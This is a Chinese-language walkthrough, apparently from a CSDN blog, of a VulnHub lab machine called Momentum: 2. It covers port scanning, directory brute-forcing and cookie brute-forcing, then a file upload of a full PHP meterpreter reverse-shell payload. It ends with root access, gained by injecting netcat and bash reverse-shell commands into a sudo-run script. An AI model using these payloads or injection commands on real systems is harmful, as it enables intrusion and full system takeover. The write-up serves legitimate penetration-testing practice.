总体目标:
掌握 单个目标机 渗透思路
本期内容:
靶场地址:Momentum: 2 ~ VulnHubhttps://www.vulnhub.com/entry/momentum-2,702/靶场截图:
总体思路: 信息收集 漏洞发现利用 权限获取 目的达成
具体实现:
- nmap 主机发现,端口扫描
- dirsearch 文件 目录 爆破
- metasploit生成PHP 反弹shell文件
- 修改POST请求,添加cookie secure字段,上传PHP反弹shell文件
- 利用cookie-gen.py的输入bash shell netcat 反弹shell,进行攻击提权
- 获得root权限,达成目的
打靶记录:
信息收集
- 主机发现,端口扫描 目标机IP:165 ,开放22 80端口,对应 ssh web服务
nmap -sS 192.168.178.0/24
-
目录爆破 , 常见类型文件爆破 , 发现 /js dashborad.html
dirsearch -u http://192.168.178.165 -e txt,php,html,asp,js,bak -w /home/kali/Desktop/main.txt // dirsearch 默认同时爆破文件和目录 , -e 添加我们想要的文件类型扩展名 发现如下目录和文件: /js /owls /ajax.php /ajax.php.bak /dashboard.html 具体内容见以下截图:
如下图, 这是 /dashborad.html , 这是一个 文件上传 界面 ,尝试上传文件 , 发现只能通过txt文件。
如下图,是 /owls 界面 , 我们上传的文件 会出现在这里。
如下图,这是 /js/main.js ,显示了一段JavaScript代码片段,这段代码是一个函数uploadFile(),它接受一个参数files,该参数应该是一个包含文件对象的数组。
在函数体内,首先检查files的长度是否大于0,如果大于0,则创建一个新的FormData对象,并将第一个文件的路径添加到其中。然后,创建一个新的XMLHttpRequest对象,设置POST方法和ajax文件路径,并打开连接。接着,定义一个onreadystatechange事件处理函数,当状态改变时调用。在这个函数中,判断readyState和status的值,如果都等于200,则表示上传成功;否则,输出错误信息。最后,使用send方法发送数据,如果没有选择文件,则弹出提示框。
一句话概括:我们点击 upload 时,会执行这段JavaScript代码,向 ajax.php 发送POST 请求 ,通过 响应内容 来判断上传是否成功 ,并回显给用户。
存在问题:在JavaScript 代码中,我们没有得到 上传文件类型限制 相关代码,因此这个没有用 , 我们可能需要在 ajax.php 中查找 相关代码。
我们发现 存在 ajax.php.bak , 我们访问/ajax.php.bak 把他下载下来。内容如下: 提示我们:在向 /ajax.php 发起的POST请求中,如果满足以下两点要求,我们就可以上传pdf php txt 文件:
- 添加字段:Cookie: admin=&G6u@B6uDXMq&Ms
- , 但是你需要在末尾添加一个大写字母,得到正确的cookie。我们需要暴力破解,找到这个字母
- 同时传递数据: secure=val1d
漏洞发现利用
通过以上分析,我们可以使用burpsuite软件,修改/ajax.php 的POST请求内容,添加cookie字段和数据secure=val1d。利用inturder模块,在cookie字段的末尾添加载荷,尝试26个大写字母,发起攻击,根据响应内容,我们可以得到正确的cookie ,从而上传php脚本。或者,我们直接使用上传php时发起的POST请求,进行以上操作,在cookie正确的,php文件也就被传上去了。
- metasploit 生成 php类型的 反弹shell脚本 ,可以在home目录下找到。方法如下:
use exploit/multi/handler //使用监听模块 set payload php/meterpreter/reverse_tcp //设置攻击载荷:php类型的反弹tcp端口 show options //设置 本机IP地址 和 端口 set LHOST *** set LPORT *** //生成shell.php文件 msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.178.160 lport=4444 R>shell.php
2. 我们在/dashboard.html 中,尝试上传shell.php ,并截获POST请求,添加cookie字段和secuer=val1d 数据 ,使用inturder模块设置载荷进行攻击,得到正确的cookie,从而成功上传shell.php
上传失败,如下图:
截获未修改请求,如下图:
POST /ajax.php HTTP/1.1
Host: 192.168.178.165
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data; boundary=---------------------------419665543730819513891019064982
Content-Length: 1344
Origin: http://192.168.178.165
Connection: close
Referer: http://192.168.178.165/dashboard.html
-----------------------------419665543730819513891019064982
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: application/x-php
/*<?php /**/ error_reporting(0); $ip = '192.168.178.160'; $port = 4444; if (($f = 'stream_socket_client') && is_callable($f)) { $s = $f("tcp://{$ip}:{$port}"); $s_type = 'stream'; } if (!$s && ($f = 'fsockopen') && is_callable($f)) { $s = $f($ip, $port); $s_type = 'stream'; } if (!$s && ($f = 'socket_create') && is_callable($f)) { $s = $f(AF_INET, SOCK_STREAM, SOL_TCP); $res = @socket_connect($s, $ip, $port); if (!$res) { die(); } $s_type = 'socket'; } if (!$s_type) { die('no socket funcs'); } if (!$s) { die('no socket'); } switch ($s_type) { case 'stream': $len = fread($s, 4); break; case 'socket': $len = socket_read($s, 4); break; } if (!$len) { die(); } $a = unpack("Nlen", $len); $len = $a['len']; $b = ''; while (strlen($b) < $len) { switch ($s_type) { case 'stream': $b .= fread($s, $len-strlen($b)); break; case 'socket': $b .= socket_read($s, $len-strlen($b)); break; } } $GLOBALS['msgsock'] = $s; $GLOBALS['msgsock_type'] = $s_type; if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval')) { $suhosin_bypass=create_function('', $b); $suhosin_bypass(); } else { eval($b); } die();
-----------------------------419665543730819513891019064982--
3.接下来,我们添加cookie字段和secure=val1d数据,设置攻击载荷到cookie字段最后。如下图: 注意!Content-Type 字段内容指明了 接受的内容类型 是表单,同时给出了边界字符串(boundary) , 我们在添加 secure=val1d数据时,要注意写出表单的格式。
添加26个大写字母为payload,点击attack。
发现在cookie字段末尾 添加 R 时,得到正确的cookie, 响应内容为1,说明shell.php上传成功,与之前JavaScript代码逻辑一致。
上传成功,如下图:
4. 在之前 生成shell.php 的metasploit命令行,输入 run ,开始监听本机4444端口,等待反弹连接。
此时,我们访问 /owls 路径,点击运行我们刚才上传的shell.php ,即可接收到反弹连接,如下图: 5. 输入以下命令:
shell //获得目标机shell
whoami //确定权限
id
//得到有回显的bash shell 方便后续操作
python -c 'import pty; pty.spawn("/bin/bash")'
在 /home/athena/user.txt 中我们发现了 第一个 flag,如下图:
权限获取
现在我们获得了 bash shell ,我们接下来要做的事情是 获得root权限的bash shell 。这往往不是一步可以完成的,我们通常需要借助 /home/ 中的其他用户的bash shell 。比如,我们先获取 athena 用户 的bash shell 。
1.在 /home/athena/password-reminder.txt 中 ,我们发现了athena的密码:myvulnerableapp*,这里注意的是[Asterisk]是*的意思,绕一些小丸子,也是很正常的。
2.切换到 athena 用户的 bash shell ,如下图:
3.进一步提权,发现athena无法执行/bin/bash,那么通过python提权无望了。 但是我们再查看 sudo -l 时,发现提示:可以以root权限执行 /usr/bin/python3 /home/team-tasks/cookie-gen.py 且不需要密码。
4.我们打开 cookie-gen.py,大致意思:在生成20字符cookie时,为了安全,我们需要输入一段字符 作为seed种子,这个种子会通过shell,写入log.txt中。
分析:既然我们输入的字符,被shell写入log.txt中,那么,我们此时输入命令,会不会执行?
5.我们查看 /home/team-tasks/log.txt 的读写权限发现,只有root用户才可以写。而上述代码通过shell向log.txt添加seed,如果我们利用这个shell,反弹shell成功,也一定会具有root权限。
6.我们执行cookie-gen.py文件, 在输入seed时,输入我们的反弹shell命令。
bash -i >& /dev/tcp/192.168.178.160/4321 0>&1 使用这种bash反弹shell 发现失败
nc 192.168.178.160 4321 -e bin/bash 使用这种 netcat 反弹shell成功,获得root权限。如下图:
python -c 'import pty; pty.spawn("/bin/bash")'
//获得 回显shell 便于消息读取
在 /root/root.txt 发现第二个flag ,至此达成目的。
总结
通过这一次打靶,我发现了许多问题:
- dirsearch 字典:需要自己构建,平常多积累,文件和目录都要包括。
- linux 反弹shell :方式有很多种,利用bash python netcat 等,需要都掌握。
- POST提交表单数据:content-type限制了数据类型,在添加数据时,我们要符合要求。
- metasploit 生成反弹shell程序 :使用的模块、载荷要记清,程序上传后,run进行监听。
最后希望大家给我点个赞!!!谢谢大家
新手练习,有不当之处,请批评指正
标签:bash,shell,cookie,vulnhub,txt,靶场,php,上传,Momentum From: https://blog.csdn.net/m0_65809311/article/details/141672283